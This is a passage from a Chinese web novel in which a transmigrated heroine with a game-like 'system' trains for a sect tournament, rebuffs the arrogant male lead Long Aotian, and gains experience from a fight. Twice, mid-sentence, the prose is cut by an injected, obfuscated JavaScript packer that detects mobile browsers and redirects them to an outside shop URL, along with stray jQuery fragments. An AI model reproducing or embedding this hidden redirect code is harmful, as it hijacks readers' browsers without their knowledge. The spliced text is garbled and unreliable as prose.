滕棠连忙改口:“一味闷头苦修,不练习反应能力和打斗技巧,身体动作会生涩不灵活,十日后的比试,不是比谁的实力高,而是看谁能把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032665|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别人打败。” 鲁酥酥觉得有理,想了想,这也助于自己,于是张口应下,指向外山某处:“就是那儿,景色绝佳,不常有人,姐姐我们去那儿吧。” “好。”滕棠拉着她下山。 平坦的草地上,两人离三米远站立,周围树木奇异,和山石溪流搭在一块,确实是好景,只是林风稍微有些萧瑟。 滕棠持着一根木头,和鲁酥酥准备开打。 脑子里蹦出系统倒计时:[(叮)您已接受1v1切磋,好友切磋模式开启,3、2……1!] 等等,不是pk模式吗?滕棠表情呆呆地在脑子里到处点,没寻到按键更换模式。 看样子,具体的战斗模式完全由系统判定。 “怎么了?”鲁酥酥见她发呆,疑惑地问。 滕棠摇摇头,举起木头:“来!” 鲁酥酥抓紧手里的木棍,几步冲过去,笔直打向滕棠的脑袋,动作没有一点花招和隐瞒,就像把答案率先公布给解题的人。 滕棠暗自叹气,她以为自己初来乍到,身手已经很菜了,没想到还有比她更菜的人。 滕棠右腿一跨,侧身躲开,手里的木棍扭转方向,变成执剑的姿势,眨眼间放到鲁酥酥脖子上。 鲁酥酥姿势僵住,苦笑道:“姐姐虽是五灵根,比我厉害太多了。” [(烟花)恭喜胜利!] [经验值+500。] “真抠。”滕棠模糊低喃一句。这要切磋多少次才能到十万? “姐姐说什么?”鲁酥酥问。 “没什么。”滕棠抽走木棍,后退几步:“再来!” 起初几次,滕棠边教边打,鲁酥酥还能勉强跟上。到后面大汗淋漓,实在不行了,她倒在地上感慨:“滕棠姐厉害,我好累,歇会儿吧。” 滕棠把软绵绵的她拉起来:“万事开头难。熬过去,以后身体强度上来了,你就不会觉得这么累。” 鲁酥酥听完她一番话,打起精神,喝了一口梅花露,又和她打了两次。 两次之后,鲁酥酥斗志丧失,身体实在累得不行。她躺在地上不愿意动,望着上方比自己瘦削的滕棠,气喘吁吁地问:“你不累吗?” 滕棠同样满头大汗,皮肤通红,喘气回她:“累,怎么可能不累。” “休息一会儿。”鲁酥酥闭目躺着,说什么也不肯起来。 滕棠说了个“好”字,盘坐到她旁边,脸色渐渐由红转白。 鲁酥酥歇了一会儿好多了,被风吹拂着凉爽不少。她擦了擦汗,扭头想和滕棠聊聊天,却发现对方的神态异常专注,与上午排队时一般无二,身上那股子“静”让人不忍打搅。 她抿了抿唇,不太敢相信滕棠这么努力,累到极致还不忘修炼,但凡是个人,也不会勤奋到这种地步,于是拉拉滕棠的衣角,弱弱地问:“滕姐姐,你……在睡觉吗?” 滕棠睁开眼,吐了口浊气出来,浑身上下汗水浓稠,黏腻腻的很不舒服。 她瞥了眼地上的人,督促道:“休息好了我们就继续。” 鲁酥酥有心无力地爬起来,心里急切,但是身体完全不想动,她问:“姐姐为何如此刻苦?” 她看一眼滕棠,感到心焦,再看一眼,还是心焦,那种别人在努力,你却在贪玩的焦急感,令她好生难受。 滕棠用手背揩去汗水,眼神坚定:“这个世界很适合我,越卷命越长,实力越强,我要长寿!我要当仙女!” 7. 第 7 章 鲁酥酥完全不相信她能成仙,磨磨蹭蹭地从地上爬起来,嘀咕道:“哪有那么容易。” 空地上再次响起木棍敲击的声音。鲁酥酥累了,滕棠就盘坐在地,修炼心法。鲁酥酥歇息好了,滕棠就继续跟她切磋。 两人几乎不怎么交流,切磋的时间愈来愈久,待日暮来临,她们已经切磋了二十余场。 滕棠甚是满意,掐了个净身诀,将浑身黏腻的汗清除,舒爽得好似刚做完一场按摩。 徐扉罗在明月八角塔历练,鲁酥酥这一段时间都无需去内门服侍,有大把时间。滕棠和她约好明日切磋时间,回到洞内时,天色已晚。 她闭目盘坐于蒲团之上,打算整夜修炼。 前世身为孤儿,一切都要靠自己打拼,没日没夜地工作,最后身体受不住倒下。而在修真界不同,像她这样的工作狂魔,熬夜不睡觉,寿命不减反增,身体不弱反强,滕棠表示狂喜。 穿越到这个世界第五天,滕棠的精气神从未有过的好。 她走到鲁酥酥的洞口,敲着庇护的光幕喊:“酥酥,和我去练习武技。” 里面的鲁酥酥正躺在床上睡觉,听见滕棠的声音,莫名感到恐惧,走至门口皱眉道:“我想休息。” “外门新人大比马上要开始了,你不练练吗?”滕棠询问她。 鲁酥酥心生抗拒,被清晨的风吹得瑟缩了下,瞬间犯懒:“明日再练也不迟,姐姐你身子骨那么弱,别练太过了。” 听此,滕棠不好继续磨烦,挥挥手准备走人:“好吧,那你休息,我找其他人切磋。” 鲁酥酥听见她离去的脚步声,心想错过今日的修炼,自己和滕棠的差距又拉开了。 她垂头纠结半晌,最后摇头自言自语:“反正她是五灵根,我四灵根再怎么也比她更强,我还有筑基的可能,她完全没有。” 鲁酥酥重新躺回床,辗转反侧,始终无法入梦,顿时责怪起滕棠的打搅。 她如果活在二十一世纪的地球,肯定会被滕棠的同事拍手夸赞:“拒绝内卷,从拒绝滕棠开始。” 滕棠下山后,没遇到合适的人。杂役们似乎都很讨厌她,看她的眼神皆带着不善。 她只好独自找个角落挥刀,一点一点地增加经验,让外挂强大起来。 在这样残酷的世界,勤奋刻苦只有好处,没有坏处。 翻开原主的储物袋,里面的物品少得可怜,没有刀法,只有一本烂大街的基础剑法。 滕棠手持大刀,学着里面的招式,变幻姿势动作。 刀剑皆为利器。剑有双锋、轻盈细窄,一般注重灵活;大刀则不同,以厚实的刀背为辅重,落刀时力量成倍压在锋线上,瞬间破开目标,更注重位置的精准。 储物袋里没有刀法,只有剑法,滕棠在练习的时候稍有改动,对着空气试着有技巧地砍。 把长驱直入改成从上而下,顺重力而为,把剑端轻挑改作刀尖狠刺,发挥武器优势,滕棠模拟着有敌人攻来,对着一棵树不断变幻动作。 她全身是汗,血肉依旧娇嫩脆弱,却不再一点苦都吃不得,于极限中不断突破。 苦学几日,她的身手比初来时更加敏捷矫健,身体经过锻炼和灵力的温养修复后,增强了一倍,不再是风吹就要被刮走,爬几阶石梯就气喘吁吁。 五天前,滕棠的皮肤病态苍白,此时脸庞红润有气色,肌肤白里透粉,神采飞扬。原本略有些驼弯的背,经挺背打坐、勤修刀法,被纠正了不少。 身材也不再皮包骨,得益于系统灵力储存条,她汲取天地灵气不再有难度,血肉终于充盈了五色灵力,如今看起来健康许多。 山谷无人,偶有鸟啼声在山间回荡。溪流静谧地流动,悄然滋润地下泥土,让万物从刚过去的寒冬中复苏,在大地上伸展嫩叶。 没有人打扰,滕棠沉迷修炼无法自拔,一会儿闭目养身,一会儿持刀舞臂。刀法看似杂乱无章,实则刀刀带风,凌厉的劲儿方崭露头角。 将今日所学拉通重复练了几次,左右手轮流交换拿刀,或是双手一起。两个时辰后,滕棠汗流浃背,手臂酸痛地垂在身侧,难以再抬起来。 她这样的力量和耐力,仅是普通人的程度,远远达不到炼气一层男修的膂力,还需加强起码两倍。 滕棠低头看向自己颤抖的双手,不够!离外门新人比试还有四天,这样一双细嫩白手,太弱了,不足以打败虎凌。 滕棠甩甩劳累的手臂,一屁股盘坐在地上,闭上双眼,重复性地用灵力冲刷四肢,尤其是双手。 疼痛加酸痛,那滋味可不好受,但只要忍过这一个时辰,补足灵力,手臂的酸痛会缓解大半。 到时候,她又是一条好汉,站起来继续练刀法,循环修炼,完成短期目标:拥有炼气一层强度的肉-体。 鹿焰宗的正门,天空上御剑飞行两道身影,两人站在同一把剑上。 前方的男子阳刚俊朗,一身白衣,黑发简单束之脑后,眉毛浓黑,眼睛深邃,鼻梁又直又挺,两翼法令浅淡,模样二十上下,生得器宇不凡。 他身后站着一名女子,样貌清丽,年纪不大,但眼神过于锐利,身形偏宽,看起来有些古怪,身高竟比前方男子还高出半个头。 两人踩在一柄剑上,在入口守门人那儿登记完毕,飞速划过长空,落在内门的一处山峰院落内。 龙傲天和煦有礼地做了个请的姿势,邀女子入正厅:“麻雀虽小五脏俱全,茶酒俗食皆有,凌姑娘进去歇息,我去找我那丫鬟前来侍候,不会委屈你的。” 女子不冷不热地瞟他一眼,揖手回礼:“多谢龙道友。”随后负手而立,目送他离去。 女子长裙飘飘,身形如青柏苍松,端的一身仙风道骨,远望着,倒是比龙傲天更具风度仪态。 龙傲天离开院落后,立刻来 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稀疏的林中,草地变刀痕满布的泥地,滕棠没有梳繁复的发髻,简单扎个马尾,目光如注,一下又一下挥舞大刀。 风起树叶婆娑,她太过专注,以至于忽略空中那点细微的声音,没发现龙傲天在天上看她。 龙傲天安静地欣赏了一会儿,不住地点头。 果不然,他的棠儿变勤快了,正在大汗淋漓地提刀劈树,每一式都有力度,并不是软绵绣花拳。 他御剑落地滕棠对面,露出一口白牙,爽朗笑问:“丫头想我不?” 滕棠挥刀的姿势一僵,讷讷抬头,望向记忆里风流肉麻的男子,第一次如此害怕别人的靠近。 “你别过来啊!”她叫了一声。 龙傲天前进两步,滕棠后退四步。 龙傲天不解,误以为是自己在棠儿需要帮助的时候他不在,让棠儿生气了,于是瓮声哄道:“丫头放心,你是我的,我不会让他人欺负你。明日你带我去指认辱你之人,哥哥帮你报仇。” 为了故作稳重,亲近女子,那声音是压着嗓子说的,听起来有点油。 滕棠五官耸在一起,读记忆是一种感受,亲耳去听又是一种感受。 须臾,龙傲天以闪电般的速度,来到滕棠面前,右手弹了下她的脑门,左手像摸狗一样摸她的头,哈哈笑道:“偷袭成功,几日不见,棠儿丫头变美了,哥哥真想把你捧在手中,放在心里。” 滕棠像木头一样杵在原地,酸痛的手微微颤抖。 她想把头上的手挪开,但是她的注意力在龙傲天的深V外衫处。松散的外衫被一根腰带系住,空露八块腹肌,上方鼓鼓的胸肌随他大笑起伏,蜜色的皮肤中间,难以忽视那撮胸毛。 滕棠避开视线,抬起头,勉强挤出一个难看的笑容:“找我什么事?” 8. 第 8 章 “没事不能找你吗?”龙傲天轻笑一声,倏尔抓住她的手,往他敞开的怀里放,过程中不免碰到那撮毛。 滕棠下意识地抽回手,却发现被龙傲天拽得死死的,扯不动。 龙傲天把她的手按在胸肌上,滕棠吓得魂都没了。 顷刻后,她手中多了个东西,龙傲天终于放开她。滕棠抽回手一看,一朵小白花在她右手虎口中摇摆。 春风吹乱了对面人的发丝,几缕横过龙傲天的脸,他深情款款地凝视滕棠:“我不在的这段日子,丫头有没有想我?” 话音刚落,龙傲天抬起手,不知又有什么动作。 滕棠直呼救命,大惊失色地退得老远。 她退他进,她跑他追。 滕棠最后插翅难飞。她背靠一棵树,竖掌阻止,一时不知如何是好,惊慌失措地叫:“你站在那儿别动,我身上全是汗。” 龙傲天邪魅一笑,左手叉腰,右手拇指擦过嘴唇:“这有什么,棠儿丫头一点都不臭,我闻过,异常香甜。” 滕棠整个人石化了,抱紧自己,搓动两臂竖起的寒毛和鸡皮疙瘩。 龙傲天单臂撑在她右侧,五官很用力地在深情:“啧,胆子还是这么小,怎么抖成这样,我又不会吃了棠儿丫头。” 附近事物好似在配合他撩妹,绿叶哗啦啦地掉,那风不吹树叶,只吹龙傲天的头发丝。粗硬的长发扬得高高的,额头一撮斜飞过眉间鼻梁,给深情深邃的眼神增添一抹霸气。 滕棠说不清自己现在是什么感受,温和的五官变形,挤在一起,听得颇为痛苦的样子。 她仰高头,让下巴离开龙傲天的手,跑到树后躲着,恳求道:“你能不能好好说话。” 她要是筑基期,早御剑跑了,或者炼气八层,把龙傲天打得安分守己,何苦在这儿受他言语动作荼毒。 “丫头不乖。”龙傲天又啧一声,叉腰向她保证:“哥哥听扉罗的丫鬟说了,你们受人侮辱,明日哥哥就替你们报仇去。” 滕棠的痛苦面具久久摘不下来,她知道龙傲天是男主,但她实在不想和他打交道。每听一句脉脉含情的“丫头”,她就想炒盘菜,太油了。 龙傲天像是没看到她难受绷紧的表情,自顾自地开始铺垫他来的目的。 “我在楚合山脉历练时,遇到一位单水灵根的姑娘,姓凌名云,出身皇室王族,我欲要将她收为徒。她不会照顾自身,棠儿丫头帮我照顾她一二,我相信你们会好好相处的。” 末了他捏起额前的发,挂在耳后,支起食指发誓:“我龙傲天此生有福,幸得三位貌美如花的娇娘,以后一定风光迎娶云儿、罗儿和棠儿,对她们不离不弃。” 救命,为什么要把她丢进一夫多妻的大男主修真文中自生自灭,滕棠现在只想掐着同事小李的脖子,大声质问:“你为什么要把这种类型的小说带到公司来!这个年代,看什么古早纸质书!” 龙傲天踏上灵剑,转头向她伸手:“很久没带丫头飞了,上来,今日破例带你飞往我那山峰。” 滕棠神情防备,疯狂摇头:“不必。我猜凌云姑娘没有残疾,无需我照顾。再则我恐高,您请单飞。” 龙傲天不悦地撇下嘴角:“丫头怎么不乖了,你平时很听我话,从未作怪,今日言行颇为怪异。” 回忆原主的过往,滕棠严重怀疑原主被龙傲天感情操控了。 原主任劳任怨这么多年,给龙傲天做牛做马,除了得几句美言,被带进鹿焰宗做杂役,原主还得到什么?龙傲天时常贬低她,要求她贤良淑德,此时竟要求她照顾新收的后宫。 滕棠拳头硬了。 她不是原主,灵魂也不属于这个世界,自然无惧龙傲天生不生气,坚决道:“我照顾你多年,不欠你什么,凌云姑娘是你带回来的,与我无关。” 滕棠上前一步,把手里捏烂的小白花丢给他:“实不相瞒,我不喜欢你,更不愿嫁你为妾。你若有不满,换个丫鬟便是。至于我在别人那受到的屈辱,你不必替我撑腰,我自己会解决。” 龙傲天怔住,一脸不敢相信,他的棠儿向来细声细语,不爱耍刀弄棍,今日怎么一点不温柔,句句和他作对。 龙傲天沉默了,瞪着滕棠许久,希望她变回去,然而滕棠却转身要离开。 “丫头你变了。”龙傲天憋半晌,吐出这么一句。 滕棠把刀放进背包,充耳不闻,大步往前走。 龙傲天脸色难看,御剑追在她身后,把他们从前的点点滴滴讲述出来,甜蜜得齁嗓子:“你会为我梳头,为我洗脚,为我洗衣做饭,为我打点收拾家里的一切,比世上万千女子都好。每次哥哥回来,看到那般贤淑的你……” 魔音入耳,滕棠的脑子里出现许多画面,都是原主和龙傲天的相处经历。她看了一遍,觉得原主真卑微。 龙傲天见她软硬不吃,有些气恼,转念思考,滕棠为何有这么大的变化? 他灵机一动,好似想通某事,开心地大笑两声,御剑落到滕棠身边,指着滕棠的脑袋嗔怪:“丫头,你吃醋了。” 正在上坡的滕棠定住,见过自恋的,没见过这么自恋的。她免不得浑身打了个颤,加快回山洞的脚步。 龙傲天有筑基一层的实力,不一会儿就追上。 “别气了,凌云丫头性子甚好,你见了便会亲近。跟我走,和她照个面,你们两个跟着我,此生绝不会后悔。” 龙傲天怒火消散,对滕棠的反应感到窃喜,说话的语调忍不住上扬。 滕棠感慨他脸皮好厚,不知他在高兴个什么劲,深呼吸一口气,脚步加快,往杂役山走。 适时,天上破空飞来一把利刃,直射向龙傲天的后脑勺。 那速度之快,滕棠连是什么都没看清,只觉一点紫光飞速钻向龙傲天的头。 叮—— 龙傲天弯腰,招出一把黑漆漆的剑,将利刃挡下。一把手掌长的短刃跌落地面,扎在离滕棠两米远的石头中。 黑色的毒眨眼间浸染了半边石头,腐蚀得滋滋作响,黑烟缭绕。 见事不对,滕棠双腿一蹬,跑得比兔子还快。 刚跑两步,天空忽然盖下一个漆黑的大碗,将她和龙傲天罩在里面,无路可逃。 糟了,滕棠心跳加速,在黑漆漆的环境中举起大刀,防备四周,暗想不愧是主角,总能遇到各种磨难。 忽然一只手轻轻拍了下她的肩膀,吓得她汗毛直竖,反手就是一刀挥过去。 刀身仿佛陷进 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这声音……滕棠觉得有点熟悉,但仔细辨别,又不像前几日那持剑要挟她的小炮灰。 他们被扣在碗底什么都看不清,对方刚才一直不说话,滕棠还以为人走了。 不死神戒?她记得那个炮灰也是,问她龙傲天的不死神戒从哪里来的。 龙傲天灵力附体,警惕四周:“你是何人?” “我?” 空中响起一声冷笑,随后视线逐渐清晰,碗内黑气缩到一处,形成一个长相没有记忆点的男子。 视线稍微明晰了点,滕棠一瞧,不认识,也不是那天的小炮灰。 对方筑基一层,和龙傲天的实力不相上下,但不用猜,也知道龙傲天不可能输。 在原主的记忆里,龙傲天可是能跨阶打架的天才,父亲是神龙,母亲是修仙大能,金鳞岂是池中物?将来是要飞升化龙的。 像这样的小炮灰,来多少打多少,统统是龙傲天的垫脚石。 相貌普通的男子站在三米外,跟块冰似的,浑身冒黑寒之气。 “你手上戒指是本尊的。” 龙傲天一听,转动手上的黑环,目光如炬:“那我杀了你,神戒便能彻底诚服于我。” 岑云岭不屑地哼了声,讽刺他:“痴人说梦。” 龙傲天大笑道:“哈哈哈哈,哪里钻进来的老鼠,也敢在我面前耍威风。” 紧接着,龙傲天变了个叉腰的姿势,猖狂挑衅黑衣人:“上一个想拿神戒之人,被我杀了,你有什么遗言,尽快说!” 岑云岭面无表情,丝毫未被激怒,身上黑气愈发浓烈。 “咦,你是……?” 龙傲天上下打量他,想起前天袭击自己的老者,随后在心里否认猜测,灵根、年纪、长相和声音都不同,不可能是同一人。 岑云岭的目光始终在不死神戒上,发现自己和戒指仍旧没有感应,暗自疑惑:“你对神戒做了什么?” “我什么也没做,神戒不认你为主罢了,你不配!” 龙傲天把戒指取下来,抛向空中。须臾,那枚黑色戒指唰地套回他食指,如同恋家的孩童,不肯出门半步。 9. 第 9 章 龙傲天手指拂过剑身,气场一出,地表飞沙走石,他狂狷笑道:“今日将是你死期!” 岑云岭虽寡言少语,不甘示弱地变出一个转动的黑碗,“呵”了一声表示嘲讽。 龙傲天粗硬的发丝飞舞,有几根打在滕棠的脸上,让她睁不开眼。 “有何遗言快说出来,不然待会儿就没机会了!”龙傲天高声道。 地上沙土纷飞,有一些扬进嘴中,滕棠呸了几口,暗道主角和反派打架就是磨蹭,对话这么久,还没交手一招一式。 突然,系统跳出来提醒她:[好友在打11级boss,是否加入他的队伍?团队协作可分获大量经验宝物。] 还有这等好事?滕棠欣喜,免费的经验,不蹭白不蹭。 她点击加入,退到最边缘位置等着躺赢,对面那男子有筑基一层的实力,龙傲天要是打败他,自己能加多少经验呢? 再拖延下去,容易招来鹿焰宗其他修者的注意,岑云岭率先出手,控制着黑碗掷向龙傲天。 黢黑粗糙的碗在抛出去的一瞬间,变得有如晨钟般庞大,欲要将龙傲天整个人笼住。 龙傲天站在原地未动,御使斩天神剑变大,横放剑身,抵住黑碗的来袭。 两人持续不断地输出灵力,剑与黑碗僵持在空中,难以辨别孰强孰弱。 一边是罕见的天雷灵根,对邪魔妖鬼有克制作用;一边是红得发黑的火灵根,炙热程度将四周烧得寸草不生。 “竟不分上下?”滕棠诧异地低喃一声,她以为对方是个路人甲,看样子应该是有名有姓的反派小配角。 空中噼里啪啦闪着雷电,火焰的高温烧得人要熟了。 滕棠接连后退,直至系统提示她快脱离团队范围,才停下脚步。 龙傲天和小反派僵持到白热化的阶段,双方灵力渐渐有些不足。 岑云岭眼睛蓦地瞟向鹿焰宗内门方向,遽然收回碗。 霎时,袅袅黑烟弥漫这片林地,滕棠和龙傲天再次什么都看不见。 等黑烟散去,此地已无11级boss的身影。 [(咚)副本Boss逃跑,战斗结束!] [经验值+1100000] [恭喜玩家升级!3级经验值:1169121/10000000] [获得升级奖励:+25中品灵石。] …… 一连串的提示跳出来,滕棠开心坏了,一个11级小反派逃跑了,还能加这么多经验?要是把他打败,岂不是一下跳好几级?滕棠美美地想着。 她埋头掂了掂自己破烂的大刀,想要快速升级,果然得多挑战才行。 滕棠在这边高兴,龙傲天在那边生气:“还没打过瘾就跑!窝囊废!” 上次那老头也是。龙傲天想骂人找不到人骂,一时气愤难以发泄,仰天嘶吼:“啊——!” 轰——,一道蓝雷落下来,炸得他长发竖起,根根立在头顶,脑袋像个刺猬。 须臾后,天上出现一名老者,白髯华发,身着鹿焰宗最高贵的金鹿袍,两手负于身后,关切地问:“我察觉一股不祥之气,遂赶来此地,小天可是遇到魔人?” 滕棠在脑子里苦寻许久,才辨别出此人是鹿焰宗的掌门——徐云旭,徐扉盛和徐扉罗的爹。当年徐云旭和龙傲天的父亲交好,龙傲天父母失踪后,他邀请龙傲天拜入鹿焰宗。 龙傲天对他拱手一拜,惭愧道:“说来奇怪,对方的火灵根偏暗,烧灼时比寻常火灵根更狠,徒儿无法辨别对方身份。” 徐云旭从天上下来,捧起一把被烧成灰的草木,随后抽出石头上的毒刃,查探一二,白眉皱成一条直线,疑惑着说:“确实难以辨别,似毒非毒,似魔非魔。” “也罢,魔族向来诡计多端,我命人加强结界防御阵,你近日切勿外出。”徐云旭拍拍龙傲天的肩,摸到他强壮结实的肌肉,感慨不已:“晃眼几年,你都长这么大了。” “多谢掌门当初收留我。”龙傲天满怀敬意地说。 徐云旭捋着胡须,回忆往事时,满眼温情地仰视天空:“我与你父亲同生共死过,自然要照拂你。你母亲……她是我倾慕的第一个女子,可惜我实力不如傲地兄,不配娶她为妻。” 长辈的风流韵事,龙傲天自是不会过问,尴尬地笑了两声,提起其他话题:“我来门派,时常惹师娘生气,不知她……” 往后的对话,滕棠没兴趣听了,她在角落里朝两人一拜,见他们根本不在意自己,于是将灵力集中于足部,回到自己的洞内。 如今她有30块中品灵石,便想着要不要买材料,打造装备。 盘坐在山洞里,滕棠打开个人装备界面。上面有十二个空格,顶端两格是主武器和副武器。 这两个空格最费钱,主武器是大刀,副武器是小飞刀,一个适合近战,一个适合远程攻击。 剩下十个方格大多为防御装备,头盔、耳环、项链、内衣、上衣、手镯、戒指、腰带、下衣和鞋靴。 滕棠查看了下低级装备所需材料,顿时苦笑,好的,是她痴心妄想了。 主武器、副武器两个格子,每格须购买100块精铁,其余空格,需要50块精铁。 而每块精铁价值为20 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032668|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中品灵石,滕棠的30灵石只够买一块……如同一根牛毛。 这事儿还是以后再说吧,先用着系统送的普通武器。 滕棠关闭个人装备界面,把目光放在各类vip卡和优惠限时活动上。 首充礼包早已拿到手,活动抽奖概率太低,不在考虑范围内。 比较来比较去,买月卡是最适合的,普通月卡不划算,高贵月卡玩家连续签到30天,会送2块精铁,除此之外,每天都能领灵石和疗伤丹药。 滕棠忍痛割爱,将好不容易积累的一点灵石花掉,买了VIP高贵月卡。 下一秒,脑海中冒出巨大的感叹号,吓人的警报声再次响起: [警告!系统欠债:-50中品灵石,无法维持游戏运营。热血岁月即将倒闭,关服倒计时一个月!] 淦!怎么又负债了,还越来越多,滕棠抓狂。 她看向自己ID上的VIP标志,想了许久才想通。兴许是因为只有她一个人用系统,没有其他玩家氪金,她使用的功能越多,系统负荷越高,需要维持的能量越多。 “也只能这样安慰自己。”滕棠叹了一口气。 情绪来得快去得快,她拿出锈刀,朝墙壁劈砍,发现升到3级后,系统伤害已变成[-9999][-3]。后面的[-3]来自于个人基础数值,每升一级,伤害、生命、速度、暴击和防御便会+1,虽然少,但是聊胜于无。 手臂砍累了,滕棠便盘坐在地,闭上眼睛,以冥想放空自己,摒除杂念,潜心修行。 鹿焰宗的夜晚安宁无杂声,大多弟子无法忍受修炼的枯燥和疼痛,每日多是吃喝玩乐,在宗门内游手好闲。 整座门派,估计就只有滕棠这么努力,夙夜匪懈地修炼着。忽略系统这个外挂,她本身的实力也在一天天变强。 在龙傲天的山峰院落内,凌云姑娘幻变回真身的模样。 转瞬间,漂亮的美人变成相貌卓绝的公子,令看过之人毕生难忘,青松作骨,白玉为肤,竹眉墨眼,那薄唇亘古不变地微抿,俊美无双的脸庞上,冷漠多过温润。 他此时笔直立在一个莲花圆阵内,像宝剑嵌于璞玉之中,一身白衣仿若云绸,万千发丝披垂在背,似墨浸纸,生来一副仙人之态。 远远望去,好似万年青莲,在这日幻化成仙。 屋内有层半透明的结界,旁人无法窥视其内。 氤氲灵烟或白或黑,缭绕飘动,更衬得岑云岭出尘。 他望向龙傲天所在的院落,掐指算天命,怎么算都算不出这次行动的结果,冥冥之中,有股巨大的力量阻碍着他。 10. 第 10 章 结束一夜的打坐,滕棠张开眼,双眸清明,面容毫无疲态。她吐出一口浊气,通身皮肤表面有些黏腻之物,掐好几个净身诀,才把身上弄干净。 伸个懒腰,此时约莫早上七点整,系统准时跳出每日签到、活动提示等方框,滕棠状似发呆,实则在脑子里一个个点掉。 每日分享昨天忘了对鲁酥酥说,错过了一天的奖励,滕棠觉得有些可惜,没薅到系统羊毛。 每日分享不可累积,错过时间便是错过了,只有活动广告的分享转发能存着,等到合适时机对人“表演”。 为了一次性拿完奖励,滕棠活动两下身子,走山路去找鲁酥酥分享。之前她分享过几次,鲁酥酥应该对她这些莫名其妙的话习以为常。 鲁酥酥住的山洞就在她下两层,走片刻就能到。滕棠站在对方洞前,发现洞口的黄符是卷起的状态,说明里面没有人。 滕棠只好继续下山,找个地方修炼武技。 升到3级的目标已经提前完成,身体强度也达到炼气一层巅峰。 滕棠昨日突破,现在有炼气二层的实力,外加3级的系统外挂,她现在完全不怕虎凌,对两天后的新人比试志在必得。 踩着轻盈的步伐下山,滕棠犹豫着要不要在老地方修炼。她实在怕龙傲天来找她,说些油腻腻的话损伤她耳朵。 一大清早,杂役们懒散地从洞内出来,见滕棠下山,几个嘁嘁喳喳:“龙师兄回来了,她挺滋润的。” “呸,这么早赶着去巴结献媚,不要脸的狐狸精。” 滕棠瞥他们一眼,从旁路过,懒得搭理。只要这些是是非非不影响她修炼,任他们说去又何妨。 往前走几步,离开瀑布深潭,身后忽然嘈杂起来。 她扭头瞧去,视线被一把巨剑占据。她睁大眼,心生恐惧,以为有人要撞死她,浑身灵力迸发。 随后看清剑上站的谁,差点吐血。 树枝压折,咔嚓落到地面。众人抬头仰望,龙傲天站在剑身上,指示剑柄冲向滕棠,将人挑起后,眨眼间飞于空中不见踪影。 靠!男主不修炼的吗?每天以独特的方式泡妹。 滕棠吓得死死抱住剑柄,两只脚-交叉锁住,对前面自恋狂十分厌烦,没好气地问:“你要做什么?” 龙傲天不喜欢女人这般凶神恶煞,尤其是自己的女人,当即拉下脸,不悦道:“丫头乖点。” “快把我放下去!” 滕棠恐高,完全不敢往下看,被人如此随意对待,简直震怒。 她发誓,上辈子加这辈子都没这么无语过,她是造了什么孽,变成龙傲天的后宫女炮灰。 巨剑在空中极速飞过,滕棠恍如坐了趟没有外壳的飞机,降落到地面时,脸色苍白,魂丢了一半。 龙傲天不管不顾地抛下她,到里屋把凌云叫出来,对二人道:“我再去叫扉罗过来,你们三人互相认识。今后我把你们娶下,没有妾室,都是我的妻,你们三人一定要和平共处。” “什么!”滕棠不可思议地望向他,心里只有两个字——离谱。 龙傲天皱了下眉,声音严肃道:“别闹,我去去就回,你先和云儿认识。”话毕,踩着巨剑瞬息没了身影。 滕棠眨眨眼,转头看向个子比龙傲天还高的女子,问:“你是怎么看上他的?” 女子炼气二层,肩宽腰窄,体型在轻纱长袍中不显,面容素净,正上下扫视滕棠,并未作答。 滕棠见她不理自己,颇觉无奈,转身要走,被一道光幕挡下。 一瞧,原来是龙傲天在院落设了结界。 她不由骂道:“真是倒了八辈子霉!” 突然想到身后之人,滕棠侧头问凌云:“这位姐妹,你知道怎么出去不?” 凌云仍旧盯着她,似在思考什么事,眸光不移,嘴唇未张开过。 “能听见我说话吗?” 滕棠怀疑她是聋哑盲,伸手在她面前晃动,晃许久,对方仍像木头一样没有反应,心下了然,怪不得龙傲天要她过来照顾这人,原来真的有残疾。 滕棠又试探了几下,最后闭上嘴,退到一旁打坐,准备在此修炼,等龙傲天回来了再走。 她盘坐在地,瞅了眼院中之人,忽而灵光一现,低喃道:“这可是一个分享的好机会!” 于是她神情变得呆滞起来,在脑子里点击那几个堆积的分享转发页面,安心被系统控制着,开始给凌云表演。 她陡然立起身,拿出把大刀,很嗨皮地往上举,眉飞色舞地说出各种广告词。 [兄弟快来!我在热血岁月领到新春999大红包,点击下方链接,和我一起拆红包。] [经典重磅巨作,热血岁月,上亿玩家在线,开局送一把刀,刀刀满屏光束,让你爽个够!] 滕棠约莫念到第三个广告开头,瞳孔变小,惊恐地看到,凌云实力从炼气二层暴涨到炼气五层,提剑朝她走过来。 对方不是聋哑盲?为什么要提剑过来?天知道,自己举刀没有任何敌意。 再则,为何要压制实力?难道说此人不是龙傲天的后宫,而是他的仇家!!! 想起主角不断被迫害的体质,滕棠一下子慌了,竭力想掌控身体,可惜方才贪心,点了好几个分享转发,一时之间无法中断。 [兄弟想和我打架吗?快来热血岁月,我们激情一战!点击下方下载,登录注册,新人福利多多,豪华大礼等你拿。] 滕棠表面嘻嘻哈哈地热情邀请,内心简直要吐血了,她本人根本不想和凌云干架。 看着眼前不断说糊涂话的女子,凌云的眼神极为同情,动作却不显,直接拔剑,准备抓她威胁龙傲天交出戒指。 [在吗?我最近在玩热血岁月,快来下载,和我痛快pk,谁输了谁就是弟弟!] 还有五个……滕棠在心中焦急咆哮:狗系统!能不能让我说快点。 